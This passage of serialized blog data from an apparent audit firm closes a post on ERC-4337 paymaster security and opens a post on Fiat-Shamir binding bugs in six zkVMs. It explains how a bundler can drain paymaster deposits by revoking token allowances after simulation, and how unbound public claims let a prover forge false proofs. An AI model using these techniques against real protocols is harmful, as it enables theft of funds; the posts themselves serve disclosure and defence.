",{"type":25,"tag":82,"props":111621,"children":111623},{"className":111622},[],[111624],{"type":31,"value":108391},{"type":31,"value":111626}," while maximizing the gas costs they can charge to the paymaster.",{"type":25,"tag":38,"props":111628,"children":111629},{},[111630,111632,111637,111639,111644,111646,111652,111654,111659],{"type":31,"value":111631},"Some paymasters try to protect against this by simulating the ",{"type":25,"tag":82,"props":111633,"children":111635},{"className":111634},[],[111636],{"type":31,"value":106134},{"type":31,"value":111638}," execution before signing and allowing it to be submitted. However, this protection can be easily bypassed because an attacker can simply approve the required token allowance during simulation to pass validation, but then revoke the allowance just before the ",{"type":25,"tag":82,"props":111640,"children":111642},{"className":111641},[],[111643],{"type":31,"value":106134},{"type":31,"value":111645}," is submitted via ",{"type":25,"tag":82,"props":111647,"children":111649},{"className":111648},[],[111650],{"type":31,"value":111651},"handleOps",{"type":31,"value":111653},". This means the ",{"type":25,"tag":82,"props":111655,"children":111657},{"className":111656},[],[111658],{"type":31,"value":108391},{"type":31,"value":111660}," will pass simulation but fail during actual execution, allowing the bundler to drain the paymaster's deposit from the EntryPoint.",{"type":25,"tag":38,"props":111662,"children":111663},{},[111664],{"type":31,"value":111665},"To protect against this vulnerability, paymasters should implement pre-execution charging patterns rather than post-execution charging. This means requiring users to pre-fund the full estimated gas cost during the validation phase, before the operation executes. By collecting payment upfront, the paymaster is protected against failed post-execution transfers that could be exploited by malicious bundlers.",{"type":25,"tag":38,"props":111667,"children":111668},{},[111669],{"type":31,"value":111670},"If post-execution charging is absolutely necessary for UX reasons, paymasters have several mitigation strategies available. One approach is to restrict usage to a whitelist of trusted bundlers, though this introduces centralization concerns. Alternatively, Pimlico tries to address this issue by tightening API limits and constraining ERC-20 usage for its users.",{"type":25,"tag":38,"props":111672,"children":111673},{},[111674],{"type":31,"value":111675},"The most secure approach is to require upfront pre-funding, even though it may temporarily lock more user funds. This small UX tradeoff is worth the strong security guarantees it provides against paymaster exploitation.",{"type":25,"tag":453,"props":111677,"children":111678},{"id":32886},[111679],{"type":31,"value":22901},{"type":25,"tag":38,"props":111681,"children":111682},{},[111683],{"type":31,"value":111684},"ERC-4337 paymasters enable powerful new UX patterns by abstracting away gas costs from end users. However, implementing them securely requires careful consideration of the standard's execution flow and potential attack vectors. The key lessons are:",{"type":25,"tag":6705,"props":111686,"children":111687},{},[111688,111693,111698,111703,111708],{"type":25,"tag":2037,"props":111689,"children":111690},{},[111691],{"type":31,"value":111692},"Always collect full payment during validation, not after execution",{"type":25,"tag":2037,"props":111694,"children":111695},{},[111696],{"type":31,"value":111697},"Be conservative with gas estimations and include safety margins",{"type":25,"tag":2037,"props":111699,"children":111700},{},[111701],{"type":31,"value":111702},"Carefully validate all user inputs and token transfers",{"type":25,"tag":2037,"props":111704,"children":111705},{},[111706],{"type":31,"value":111707},"Test extensively, including simulation of malicious behavior",{"type":25,"tag":2037,"props":111709,"children":111710},{},[111711,111713,111718],{"type":31,"value":111712},"Always review changes in new ",{"type":25,"tag":82,"props":111714,"children":111716},{"className":111715},[],[111717],{"type":31,"value":106215},{"type":31,"value":111719}," versions, as they may impact your paymaster's design and security assumptions",{"type":25,"tag":38,"props":111721,"children":111722},{},[111723,111725,111730,111732,111737,111739,111744],{"type":31,"value":111724},"The last point is particularly important as the ERC-4337 standard continues to evolve. Changes to the ",{"type":25,"tag":82,"props":111726,"children":111728},{"className":111727},[],[111729],{"type":31,"value":106215},{"type":31,"value":111731}," contract's behavior could potentially break existing ",{"type":25,"tag":82,"props":111733,"children":111735},{"className":111734},[],[111736],{"type":31,"value":106287},{"type":31,"value":111738}," implementations or introduce new security considerations. Developers should thoroughly review release notes and diffs when upgrading to new ",{"type":25,"tag":82,"props":111740,"children":111742},{"className":111741},[],[111743],{"type":31,"value":106215},{"type":31,"value":111745}," versions.",{"type":25,"tag":38,"props":111747,"children":111748},{},[111749],{"type":31,"value":111750},"By following these best practices, developers can build robust paymasters that enhance UX while protecting against exploitation. As the ERC-4337 ecosystem matures, secure paymaster implementations will be crucial for driving mainstream adoption of account abstraction.",{"type":25,"tag":38,"props":111752,"children":111753},{},[111754],{"type":31,"value":111755},"If you're building a paymaster and want to ensure it's secure against these and other vulnerabilities, consider getting an audit from us. Our team has extensive experience auditing ERC-4337 implementations and can help identify potential security issues before they impact production.",{"type":25,"tag":9310,"props":111757,"children":111758},{},[111759],{"type":31,"value":9314},{"title":7,"searchDepth":6763,"depth":6763,"links":111761},[111762,111763,111764,111771,111776,111777],{"id":106049,"depth":6763,"text":106052},{"id":106065,"depth":6763,"text":106068},{"id":106104,"depth":6763,"text":106107,"children":111765},[111766,111767,111768,111769,111770],{"id":106127,"depth":6772,"text":106134},{"id":106168,"depth":6772,"text":106171},{"id":106194,"depth":6772,"text":106197},{"id":18674,"depth":6772,"text":106215},{"id":106287,"depth":6772,"text":106298},{"id":106350,"depth":6763,"text":111772,"children":111773},"Understanding the EntryPoint's Flow",[111774,111775],{"id":106406,"depth":6772,"text":106409},{"id":106591,"depth":6772,"text":106594},{"id":106834,"depth":6763,"text":106840},{"id":108434,"depth":6763,"text":108440,"children":111778},[111779,111780],{"id":108494,"depth":6772,"text":108497},{"id":108554,"depth":6772,"text":108557},"content:blog:2025-12-02-paymasters-evm.md","blog/2025-12-02-paymasters-evm.md","blog/2025-12-02-paymasters-evm",{"_path":111785,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":111786,"description":111787,"date":111788,"author":111789,"image":111792,"isFeatured":16,"onBlogPage":16,"tags":111794,"body":111796,"_type":6792,"_id":127575,"_source":6794,"_file":127576,"_stem":127577,"_extension":6797},"/blog/2026-03-03-zkvms-unfaithful-claims","Unfaithful Claims: Breaking 6 zkVMs","A zkVM verifier should be faithful to one thing above all else: its public claims. Yet we found six systems where this guarantee breaks. Learn how a subtle ordering bug lets an attacker bypass the cryptography entirely and prove mathematically impossible statements.","2026-03-03T12:00:00.000Z",[111790,111791],"himanshu","valter",{"src":111793,"width":101220,"height":17574},"/posts/zkvms-unfaithful-claims/title.png",[111795],"zkVM",{"type":22,"children":111797,"toc":127539},[111798,111803,111845,111858,111861,111867,111872,112000,112003,112009,112015,112020,112052,112200,112205,112328,112339,112350,112373,112384,112389,112422,112430,112435,112438,112444,112449,112455,112460,112465,112473,112491,112632,112637,112643,112735,113463,113531,113542,113550,114022,114028,114466,114806,114958,114963,115849,116005,116011,116103,116108,116691,117141,117217,117223,117228,117297,117307,117323,117333,117394,117807,117839,117849,118024,118029,118039,118639,118827,118845,118848,118854,118859,118867,118899,119260,119265,119350,119353,119359,119367,119372,119375,119381,119386,119394,119402,119410,119418,119451,119459,119467,119558,119809,120136,120144,120174,120344,120670,120675,120680,120697,120700,120705,120710,120722,120734,121325,121337,121349,121356,121364,121376,121384,121399,121404,121684,121703,121798,121817,121833,121836,121842,121847,121852,121859,121867,121874,121882,121895,121913,122373,122475,122480,122485,122501,122504,122510,122515,122527,122538,122543,122933,122940,122948,122973,122993,123249,123260,123279,123663,124009,124239,124398,124558,125126,125131,125157,125160,125166,125171,125178,125186,125199,125271,125282,125290,125300,125308,125319,125593,125682,125711,125714,125719,125852,125864,125871,125876,126029,126055,126062,126070,126075,126141,126146,126535,126622,126638,126641,126647,126652,126658,126756,126815,126820,126826,126831,126839,126844,126850,126855,126860,126866,126871,126874,126880,126886,126891,126896,126901,126906,126911,126914,126920,127083,127088,127091,127096,127107,127424,127429,127453,127458,127476,127481,127484,127490,127495,127500,127510,127515,127525,127535],{"type":25,"tag":38,"props":111799,"children":111800},{},[111801],{"type":31,"value":111802},"A zkVM verifier should be faithful to one thing above all else: its public claims. If the claimed input/output statement is false, verification must fail.",{"type":25,"tag":38,"props":111804,"children":111805},{},[111806,111808,111813,111814,111819,111820,111825,111826,111831,111832,111837,111838,111843],{"type":31,"value":111807},"We found six systems where this faithfulness breaks. Across ",{"type":25,"tag":9267,"props":111809,"children":111810},{},[111811],{"type":31,"value":111812},"Jolt",{"type":31,"value":7020},{"type":25,"tag":9267,"props":111815,"children":111816},{},[111817],{"type":31,"value":111818},"Nexus",{"type":31,"value":7020},{"type":25,"tag":9267,"props":111821,"children":111822},{},[111823],{"type":31,"value":111824},"Cairo-M",{"type":31,"value":7020},{"type":25,"tag":9267,"props":111827,"children":111828},{},[111829],{"type":31,"value":111830},"Ceno",{"type":31,"value":7020},{"type":25,"tag":9267,"props":111833,"children":111834},{},[111835],{"type":31,"value":111836},"Expander",{"type":31,"value":10433},{"type":25,"tag":9267,"props":111839,"children":111840},{},[111841],{"type":31,"value":111842},"Binius64",{"type":31,"value":111844},", public-claim data was not always bound into Fiat-Shamir transcripts before challenge generation. That subtle ordering bug turns statement values into attacker-controlled variables in later verification equations.",{"type":25,"tag":38,"props":111846,"children":111847},{},[111848,111850,111856],{"type":31,"value":111849},"In this post, we demonstrate how to exploit these unbound variables to bypass the cryptography entirely and prove mathematically impossible statements, such as finding a counterexample to Fermat's Last Theorem (see ",{"type":25,"tag":162,"props":111851,"children":111853},{"href":111852},"#challenges",[111854],{"type":31,"value":111855},"Challenges",{"type":31,"value":111857}," to try this out yourself). In a blockchain context, this could translate to receiving $1M out of thin air.",{"type":25,"tag":22747,"props":111859,"children":111860},{},[],{"type":25,"tag":26,"props":111862,"children":111864},{"id":111863},"jargon-cheat-sheet",[111865],{"type":31,"value":111866},"Jargon Cheat Sheet",{"type":25,"tag":38,"props":111868,"children":111869},{},[111870],{"type":31,"value":111871},"Before we go deeper, here's a one-liner for every term you'll encounter. The ZK ecosystem is particularly full of jargon and abbreviations, which may be off-putting to newcomers. Bookmark this section.",{"type":25,"tag":2033,"props":111873,"children":111874},{},[111875,111885,111895,111905,111915,111925,111935,111945,111955,111965,111975,111985],{"type":25,"tag":2037,"props":111876,"children":111877},{},[111878,111883],{"type":25,"tag":9267,"props":111879,"children":111880},{},[111881],{"type":31,"value":111882},"Fiat-Shamir",{"type":31,"value":111884},": Instead of a real verifier sending random challenges, hash everything so far to get \"random\" challenges. Makes proofs non-interactive.",{"type":25,"tag":2037,"props":111886,"children":111887},{},[111888,111893],{"type":25,"tag":9267,"props":111889,"children":111890},{},[111891],{"type":31,"value":111892},"Transcript",{"type":31,"value":111894},": The running hash state. You \"absorb\" data into it, then \"squeeze\" out challenges.",{"type":25,"tag":2037,"props":111896,"children":111897},{},[111898,111903],{"type":25,"tag":9267,"props":111899,"children":111900},{},[111901],{"type":31,"value":111902},"Polynomial Commitment",{"type":31,"value":111904},": Like a hash, but for polynomials. You commit to a polynomial, then later prove \"my polynomial evaluates to 42 at point 7\" without revealing the whole polynomial.",{"type":25,"tag":2037,"props":111906,"children":111907},{},[111908,111913],{"type":25,"tag":9267,"props":111909,"children":111910},{},[111911],{"type":31,"value":111912},"Sumcheck",{"type":31,"value":111914},": A protocol to prove \"this polynomial sums to H over all boolean inputs\" without actually computing the exponentially many terms. Reduces to checking one random point.",{"type":25,"tag":2037,"props":111916,"children":111917},{},[111918,111923],{"type":25,"tag":9267,"props":111919,"children":111920},{},[111921],{"type":31,"value":111922},"MLE (Multilinear Extension)",{"type":31,"value":111924},": Turn a table of values into a polynomial. The polynomial equals the table on 0/1 inputs and smoothly interpolates elsewhere. Key property: evaluating it is a linear function of the table entries.",{"type":25,"tag":2037,"props":111926,"children":111927},{},[111928,111933],{"type":25,"tag":9267,"props":111929,"children":111930},{},[111931],{"type":31,"value":111932},"Lookup / LogUp",{"type":31,"value":111934},": Prove \"all my values appear in this table\" by encoding membership as sums of fractions. If the sums match, the sets match (with high probability).",{"type":25,"tag":2037,"props":111936,"children":111937},{},[111938,111943],{"type":25,"tag":9267,"props":111939,"children":111940},{},[111941],{"type":31,"value":111942},"AIR",{"type":31,"value":111944},": \"Algebraic Intermediate Representation\" - a way to write \"valid execution trace\" as polynomial equations. If the equations hold, the trace is valid.",{"type":25,"tag":2037,"props":111946,"children":111947},{},[111948,111953],{"type":25,"tag":9267,"props":111949,"children":111950},{},[111951],{"type":31,"value":111952},"STARK",{"type":31,"value":111954},": Prove AIR constraints hold using commitments + random sampling + FRI. No trusted setup needed.",{"type":25,"tag":2037,"props":111956,"children":111957},{},[111958,111963],{"type":25,"tag":9267,"props":111959,"children":111960},{},[111961],{"type":31,"value":111962},"FRI",{"type":31,"value":111964},": \"Fast Reed-Solomon IOP\" - proves a committed function is actually a low-degree polynomial, not arbitrary garbage that passes spot-checks.",{"type":25,"tag":2037,"props":111966,"children":111967},{},[111968,111973],{"type":25,"tag":9267,"props":111969,"children":111970},{},[111971],{"type":31,"value":111972},"OODS",{"type":31,"value":111974},": \"Out-of-Domain Sampling\" - check the constraint polynomial at a random point outside the execution domain. Ties everything together.",{"type":25,"tag":2037,"props":111976,"children":111977},{},[111978,111983],{"type":25,"tag":9267,"props":111979,"children":111980},{},[111981],{"type":31,"value":111982},"GKR",{"type":31,"value":111984},": Verify arithmetic circuits layer-by-layer using sumcheck. Reduces \"check this huge circuit\" to \"check a few random evaluations.\"",{"type":25,"tag":2037,"props":111986,"children":111987},{},[111988,111993,111995],{"type":25,"tag":9267,"props":111989,"children":111990},{},[111991],{"type":31,"value":111992},"claimed_sum / opening_claim",{"type":31,"value":111994},": Prover-supplied values that feed into verification equations. ",{"type":25,"tag":9267,"props":111996,"children":111997},{},[111998],{"type":31,"value":111999},"These are the usual suspects for binding bugs.",{"type":25,"tag":22747,"props":112001,"children":112002},{},[],{"type":25,"tag":26,"props":112004,"children":112006},{"id":112005},"what-are-we-even-breaking",[112007],{"type":31,"value":112008},"What Are We Even Breaking?",{"type":25,"tag":607,"props":112010,"children":112012},{"id":112011},"what-is-a-zkvm",[112013],{"type":31,"value":112014},"What is a zkVM?",{"type":25,"tag":38,"props":112016,"children":112017},{},[112018],{"type":31,"value":112019},"A zkVM proof claims that a program executed correctly on public inputs, producing the claimed public output, while hiding the full execution trace.",{"type":25,"tag":38,"props":112021,"children":112022},{},[112023,112025,112050],{"type":31,"value":112024},"Formally, the verifier is convinced that there exists a valid trace ",{"type":25,"tag":82,"props":112026,"children":112028},{"className":112027},[212,4696],[112029],{"type":25,"tag":216,"props":112030,"children":112032},{"className":112031},[224],[112033],{"type":25,"tag":216,"props":112034,"children":112036},{"className":112035,"ariaHidden":230},[229],[112037],{"type":25,"tag":216,"props":112038,"children":112040},{"className":112039},[235],[112041,112045],{"type":25,"tag":216,"props":112042,"children":112044},{"className":112043,"style":4793},[240],[],{"type":25,"tag":216,"props":112046,"children":112048},{"className":112047,"style":2146},[246,2145],[112049],{"type":31,"value":177},{"type":31,"value":112051}," such that:",{"type":25,"tag":38,"props":112053,"children":112054},{},[112055],{"type":25,"tag":82,"props":112056,"children":112058},{"className":112057},[212,4696],[112059],{"type":25,"tag":216,"props":112060,"children":112062},{"className":112061},[224],[112063],{"type":25,"tag":216,"props":112064,"children":112066},{"className":112065,"ariaHidden":230},[229],[112067,112111,112186],{"type":25,"tag":216,"props":112068,"children":112070},{"className":112069},[235],[112071,112075,112081,112085,112090,112094,112098,112103,112107],{"type":25,"tag":216,"props":112072,"children":112074},{"className":112073,"style":96927},[240],[],{"type":25,"tag":216,"props":112076,"children":112078},{"className":112077},[246],[112079],{"type":31,"value":112080},"∃",{"type":25,"tag":216,"props":112082,"children":112084},{"className":112083,"style":258},[257],[],{"type":25,"tag":216,"props":112086,"children":112088},{"className":112087,"style":2146},[246,2145],[112089],{"type":31,"value":177},{"type":25,"tag":216,"props":112091,"children":112093},{"className":112092,"style":258},[257],[],{"type":25,"tag":216,"props":112095,"children":112097},{"className":112096,"style":258},[257],[],{"type":25,"tag":216,"props":112099,"children":112101},{"className":112100},[263],[112102],{"type":31,"value":1466},{"type":25,"tag":216,"props":112104,"children":112106},{"className":112105,"style":258},[257],[],{"type":25,"tag":216,"props":112108,"children":112110},{"className":112109,"style":258},[257],[],{"type":25,"tag":216,"props":112112,"children":112114},{"className":112113},[235],[112115,112119,112130,112135,112140,112145,112149,112154,112159,112163,112168,112173,112177,112182],{"type":25,"tag":216,"props":112116,"children":112118},{"className":112117,"style":5507},[240],[],{"type":25,"tag":216,"props":112120,"children":112122},{"className":112121},[246],[112123],{"type":25,"tag":216,"props":112124,"children":112127},{"className":112125},[246,112126],"mathsf",[112128],{"type":31,"value":112129},"VM",{"type":25,"tag":216,"props":112131,"children":112133},{"className":112132},[287],[112134],{"type":31,"value":1844},{"type":25,"tag":216,"props":112136,"children":112138},{"className":112137,"style":2146},[246,2145],[112139],{"type":31,"value":2149},{"type":25,"tag":216,"props":112141,"children":112143},{"className":112142},[1858],[112144],{"type":31,"value":1861},{"type":25,"tag":216,"props":112146,"children":112148},{"className":112147,"style":1865},[257],[],{"type":25,"tag":216,"props":112150,"children":112152},{"className":112151,"style":2223},[246,2145],[112153],{"type":31,"value":10078},{"type":25,"tag":216,"props":112155,"children":112157},{"className":112156},[1858],[112158],{"type":31,"value":1861},{"type":25,"tag":216,"props":112160,"children":112162},{"className":112161,"style":1865},[257],[],{"type":25,"tag":216,"props":112164,"children":112166},{"className":112165,"style":2146},[246,2145],[112167],{"type":31,"value":177},{"type":25,"tag":216,"props":112169,"children":112171},{"className":112170},[427],[112172],{"type":31,"value":1882},{"type":25,"tag":216,"props":112174,"children":112176},{"className":112175,"style":258},[257],[],{"type":25,"tag":216,"props":112178,"children":112180},{"className":112179},[263],[112181],{"type":31,"value":26273},{"type":25,"tag":216,"props":112183,"children":112185},{"className":112184,"style":258},[257],[],{"type":25,"tag":216,"props":112187,"children":112189},{"className":112188},[235],[112190,112194],{"type":25,"tag":216,"props":112191,"children":112193},{"className":112192,"style":4793},[240],[],{"type":25,"tag":216,"props":112195,"children":112198},{"className":112196,"style":112197},[246,2145],"margin-right:0.22222em;",[112199],{"type":31,"value":10108},{"type":25,"tag":38,"props":112201,"children":112202},{},[112203],{"type":31,"value":112204},"where:",{"type":25,"tag":2033,"props":112206,"children":112207},{},[112208,112238,112268,112298],{"type":25,"tag":2037,"props":112209,"children":112210},{},[112211,112236],{"type":25,"tag":82,"props":112212,"children":112214},{"className":112213},[212,4696],[112215],{"type":25,"tag":216,"props":112216,"children":112218},{"className":112217},[224],[112219],{"type":25,"tag":216,"props":112220,"children":112222},{"className":112221,"ariaHidden":230},[229],[112223],{"type":25,"tag":216,"props":112224,"children":112226},{"className":112225},[235],[112227,112231],{"type":25,"tag":216,"props":112228,"children":112230},{"className":112229,"style":4793},[240],[],{"type":25,"tag":216,"props":112232,"children":112234},{"className":112233,"style":2146},[246,2145],[112235],{"type":31,"value":2149},{"type":31,"value":112237}," = program/circuit description (public)",{"type":25,"tag":2037,"props":112239,"children":112240},{},[112241,112266],{"type":25,"tag":82,"props":112242,"children":112244},{"className":112243},[212,4696],[112245],{"type":25,"tag":216,"props":112246,"children":112248},{"className":112247},[224],[112249],{"type":25,"tag":216,"props":112250,"children":112252},{"className":112251,"ariaHidden":230},[229],[112253],{"type":25,"tag":216,"props":112254,"children":112256},{"className":112255},[235],[112257,112261],{"type":25,"tag":216,"props":112258,"children":112260},{"className":112259,"style":4793},[240],[],{"type":25,"tag":216,"props":112262,"children":112264},{"className":112263,"style":2223},[246,2145],[112265],{"type":31,"value":10078},{"type":31,"value":112267}," = public input",{"type":25,"tag":2037,"props":112269,"children":112270},{},[112271,112296],{"type":25,"tag":82,"props":112272,"children":112274},{"className":112273},[212,4696],[112275],{"type":25,"tag":216,"props":112276,"children":112278},{"className":112277},[224],[112279],{"type":25,"tag":216,"props":112280,"children":112282},{"className":112281,"ariaHidden":230},[229],[112283],{"type":25,"tag":216,"props":112284,"children":112286},{"className":112285},[235],[112287,112291],{"type":25,"tag":216,"props":112288,"children":112290},{"className":112289,"style":4793},[240],[],{"type":25,"tag":216,"props":112292,"children":112294},{"className":112293,"style":112197},[246,2145],[112295],{"type":31,"value":10108},{"type":31,"value":112297}," = claimed public output",{"type":25,"tag":2037,"props":112299,"children":112300},{},[112301,112326],{"type":25,"tag":82,"props":112302,"children":112304},{"className":112303},[212,4696],[112305],{"type":25,"tag":216,"props":112306,"children":112308},{"className":112307},[224],[112309],{"type":25,"tag":216,"props":112310,"children":112312},{"className":112311,"ariaHidden":230},[229],[112313],{"type":25,"tag":216,"props":112314,"children":112316},{"className":112315},[235],[112317,112321],{"type":25,"tag":216,"props":112318,"children":112320},{"className":112319,"style":4793},[240],[],{"type":25,"tag":216,"props":112322,"children":112324},{"className":112323,"style":2146},[246,2145],[112325],{"type":31,"value":177},{"type":31,"value":112327}," = private witness/trace (registers, memory history, intermediate values)",{"type":25,"tag":38,"props":112329,"children":112330},{},[112331,112333,112337],{"type":31,"value":112332},"The verifier does ",{"type":25,"tag":9267,"props":112334,"children":112335},{},[112336],{"type":31,"value":22442},{"type":31,"value":112338}," replay execution step by step. Instead, it checks algebraic constraints over committed polynomials.",{"type":25,"tag":38,"props":112340,"children":112341},{},[112342,112344,112349],{"type":31,"value":112343},"Some systems in this post are verifiable-computing systems rather than full zero-knowledge systems, but the critical property is still ",{"type":25,"tag":9267,"props":112345,"children":112346},{},[112347],{"type":31,"value":112348},"soundness",{"type":31,"value":1466},{"type":25,"tag":2033,"props":112351,"children":112352},{},[112353,112363],{"type":25,"tag":2037,"props":112354,"children":112355},{},[112356,112361],{"type":25,"tag":9267,"props":112357,"children":112358},{},[112359],{"type":31,"value":112360},"Completeness",{"type":31,"value":112362},": honest execution verifies.",{"type":25,"tag":2037,"props":112364,"children":112365},{},[112366,112371],{"type":25,"tag":9267,"props":112367,"children":112368},{},[112369],{"type":31,"value":112370},"Soundness",{"type":31,"value":112372},": false execution should not verify.",{"type":25,"tag":38,"props":112374,"children":112375},{},[112376,112378,112382],{"type":31,"value":112377},"We are breaking ",{"type":25,"tag":9267,"props":112379,"children":112380},{},[112381],{"type":31,"value":112348},{"type":31,"value":112383}," in all six systems.",{"type":25,"tag":38,"props":112385,"children":112386},{},[112387],{"type":31,"value":112388},"In all six codebases, verification follows this abstract flow:",{"type":25,"tag":6705,"props":112390,"children":112391},{},[112392,112397,112402,112407,112412,112417],{"type":25,"tag":2037,"props":112393,"children":112394},{},[112395],{"type":31,"value":112396},"Fix public statement data.",{"type":25,"tag":2037,"props":112398,"children":112399},{},[112400],{"type":31,"value":112401},"Parse proof payload (commitments, reduction messages, openings).",{"type":25,"tag":2037,"props":112403,"children":112404},{},[112405],{"type":31,"value":112406},"Rebuild Fiat-Shamir challenges from transcript state.",{"type":25,"tag":2037,"props":112408,"children":112409},{},[112410],{"type":31,"value":112411},"Check constraint equations at sampled points.",{"type":25,"tag":2037,"props":112413,"children":112414},{},[112415],{"type":31,"value":112416},"Check PCS/opening consistency.",{"type":25,"tag":2037,"props":112418,"children":112419},{},[112420],{"type":31,"value":112421},"Accept only if all checks are jointly consistent.",{"type":25,"tag":38,"props":112423,"children":112424},{},[112425],{"type":25,"tag":6461,"props":112426,"children":112429},{"alt":112427,"src":112428},"1_prover_verifier","/posts/zkvms-unfaithful-claims/1_prover_verifier.svg",[],{"type":25,"tag":38,"props":112431,"children":112432},{},[112433],{"type":31,"value":112434},"The non-negotiable invariant is transcript ordering: if a value affects a verifier equation, it must be absorbed before sampling the challenge that gates that equation. Violating this gives the prover an attacker-controlled degree of freedom.",{"type":25,"tag":22747,"props":112436,"children":112437},{},[],{"type":25,"tag":26,"props":112439,"children":112441},{"id":112440},"the-building-blocks",[112442],{"type":31,"value":112443},"The Building Blocks",{"type":25,"tag":38,"props":112445,"children":112446},{},[112447],{"type":31,"value":112448},"Before we can understand the bugs, we need to understand the protocols they break. Each of these is a tool that zkVMs compose together.",{"type":25,"tag":607,"props":112450,"children":112452},{"id":112451},"the-fiat-shamir-transform",[112453],{"type":31,"value":112454},"The Fiat-Shamir Transform",{"type":25,"tag":38,"props":112456,"children":112457},{},[112458],{"type":31,"value":112459},"Interactive protocols (the type most commonly described in literature) require real-time communication. It involves the verifier sending random challenges, and the prover responding to them. This doesn't work for blockchains (where you have no real-time verifier) or when you want anyone to verify your proof at a later point.",{"type":25,"tag":38,"props":112461,"children":112462},{},[112463],{"type":31,"value":112464},"The solution is to replace the verifier's randomness with a hash function. The prover \"talks to themselves,\" using the hash of everything so far as the challenge. If we use a cryptographic hash function, this should mean that the challenges are completely unpredictable.",{"type":25,"tag":38,"props":112466,"children":112467},{},[112468],{"type":25,"tag":6461,"props":112469,"children":112472},{"alt":112470,"src":112471},"fiat_shamir2","/posts/zkvms-unfaithful-claims/fiat_shamir2.svg",[],{"type":25,"tag":38,"props":112474,"children":112475},{},[112476,112478,112482,112484,112489],{"type":31,"value":112477},"The hash (transcript) ",{"type":25,"tag":9267,"props":112479,"children":112480},{},[112481],{"type":31,"value":10465},{"type":31,"value":112483}," include everything that affects verification ",{"type":25,"tag":9267,"props":112485,"children":112486},{},[112487],{"type":31,"value":112488},"BEFORE",{"type":31,"value":112490}," the challenges derived from it are used.",{"type":25,"tag":38,"props":112492,"children":112493},{},[112494,112496,112522,112524,112549,112551,112576,112578,112603,112605,112630],{"type":31,"value":112495},"If some value ",{"type":25,"tag":82,"props":112497,"children":112499},{"className":112498},[212,4696],[112500],{"type":25,"tag":216,"props":112501,"children":112503},{"className":112502},[224],[112504],{"type":25,"tag":216,"props":112505,"children":112507},{"className":112506,"ariaHidden":230},[229],[112508],{"type":25,"tag":216,"props":112509,"children":112511},{"className":112510},[235],[112512,112516],{"type":25,"tag":216,"props":112513,"children":112515},{"className":112514,"style":4793},[240],[],{"type":25,"tag":216,"props":112517,"children":112519},{"className":112518,"style":112197},[246,2145],[112520],{"type":31,"value":112521},"V",{"type":31,"value":112523}," affects a verification equation, but ",{"type":25,"tag":82,"props":112525,"children":112527},{"className":112526},[212,4696],[112528],{"type":25,"tag":216,"props":112529,"children":112531},{"className":112530},[224],[112532],{"type":25,"tag":216,"props":112533,"children":112535},{"className":112534,"ariaHidden":230},[229],[112536],{"type":25,"tag":216,"props":112537,"children":112539},{"className":112538},[235],[112540,112544],{"type":25,"tag":216,"props":112541,"children":112543},{"className":112542,"style":4793},[240],[],{"type":25,"tag":216,"props":112545,"children":112547},{"className":112546,"style":112197},[246,2145],[112548],{"type":31,"value":112521},{"type":31,"value":112550}," isn't absorbed before the relevant challenge is squeezed, then the challenge is completely independent of ",{"type":25,"tag":82,"props":112552,"children":112554},{"className":112553},[212,4696],[112555],{"type":25,"tag":216,"props":112556,"children":112558},{"className":112557},[224],[112559],{"type":25,"tag":216,"props":112560,"children":112562},{"className":112561,"ariaHidden":230},[229],[112563],{"type":25,"tag":216,"props":112564,"children":112566},{"className":112565},[235],[112567,112571],{"type":25,"tag":216,"props":112568,"children":112570},{"className":112569,"style":4793},[240],[],{"type":25,"tag":216,"props":112572,"children":112574},{"className":112573,"style":112197},[246,2145],[112575],{"type":31,"value":112521},{"type":31,"value":112577},". This means that the prover can \"see\" (compute in advance) the challenge before choosing ",{"type":25,"tag":82,"props":112579,"children":112581},{"className":112580},[212,4696],[112582],{"type":25,"tag":216,"props":112583,"children":112585},{"className":112584},[224],[112586],{"type":25,"tag":216,"props":112587,"children":112589},{"className":112588,"ariaHidden":230},[229],[112590],{"type":25,"tag":216,"props":112591,"children":112593},{"className":112592},[235],[112594,112598],{"type":25,"tag":216,"props":112595,"children":112597},{"className":112596,"style":4793},[240],[],{"type":25,"tag":216,"props":112599,"children":112601},{"className":112600,"style":112197},[246,2145],[112602],{"type":31,"value":112521},{"type":31,"value":112604},", which may allow it to choose ",{"type":25,"tag":82,"props":112606,"children":112608},{"className":112607},[212,4696],[112609],{"type":25,"tag":216,"props":112610,"children":112612},{"className":112611},[224],[112613],{"type":25,"tag":216,"props":112614,"children":112616},{"className":112615,"ariaHidden":230},[229],[112617],{"type":25,"tag":216,"props":112618,"children":112620},{"className":112619},[235],[112621,112625],{"type":25,"tag":216,"props":112622,"children":112624},{"className":112623,"style":4793},[240],[],{"type":25,"tag":216,"props":112626,"children":112628},{"className":112627,"style":112197},[246,2145],[112629],{"type":31,"value":112521},{"type":31,"value":112631}," exactly so that the verification passes, even though it should not.",{"type":25,"tag":38,"props":112633,"children":112634},{},[112635],{"type":31,"value":112636},"This is the bug class we found in all six systems.",{"type":25,"tag":607,"props":112638,"children":112640},{"id":112639},"the-sumcheck-protocol",[112641],{"type":31,"value":112642},"The Sumcheck Protocol",{"type":25,"tag":38,"props":112644,"children":112645},{},[112646,112648,112733],{"type":31,"value":112647},"The sumcheck protocol proves that a polynomial sums to a claimed value over the Boolean hypercube (all inputs in ",{"type":25,"tag":82,"props":112649,"children":112651},{"className":112650},[212,4696],[112652],{"type":25,"tag":216,"props":112653,"children":112655},{"className":112654},[224],[112656],{"type":25,"tag":216,"props":112657,"children":112659},{"className":112658,"ariaHidden":230},[229],[112660],{"type":25,"tag":216,"props":112661,"children":112663},{"className":112662},[235],[112664,112668,112673,112678,112683,112687,112692],{"type":25,"tag":216,"props":112665,"children":112667},{"className":112666,"style":5507},[240],[],{"type":25,"tag":216,"props":112669,"children":112671},{"className":112670},[287],[112672],{"type":31,"value":80584},{"type":25,"tag":216,"props":112674,"children":112676},{"className":112675},[246],[112677],{"type":31,"value":1876},{"type":25,"tag":216,"props":112679,"children":112681},{"className":112680},[1858],[112682],{"type":31,"value":1861},{"type":25,"tag":216,"props":112684,"children":112686},{"className":112685,"style":1865},[257],[],{"type":25,"tag":216,"props":112688,"children":112690},{"className":112689},[246],[112691],{"type":31,"value":184},{"type":25,"tag":216,"props":112693,"children":112695},{"className":112694},[427],[112696,112701],{"type":25,"tag":216,"props":112697,"children":112699},{"className":112698},[427],[112700],{"type":31,"value":38097},{"type":25,"tag":216,"props":112702,"children":112704},{"className":112703},[2153],[112705],{"type":25,"tag":216,"props":112706,"children":112708},{"className":112707},[298],[112709],{"type":25,"tag":216,"props":112710,"children":112712},{"className":112711},[304],[112713],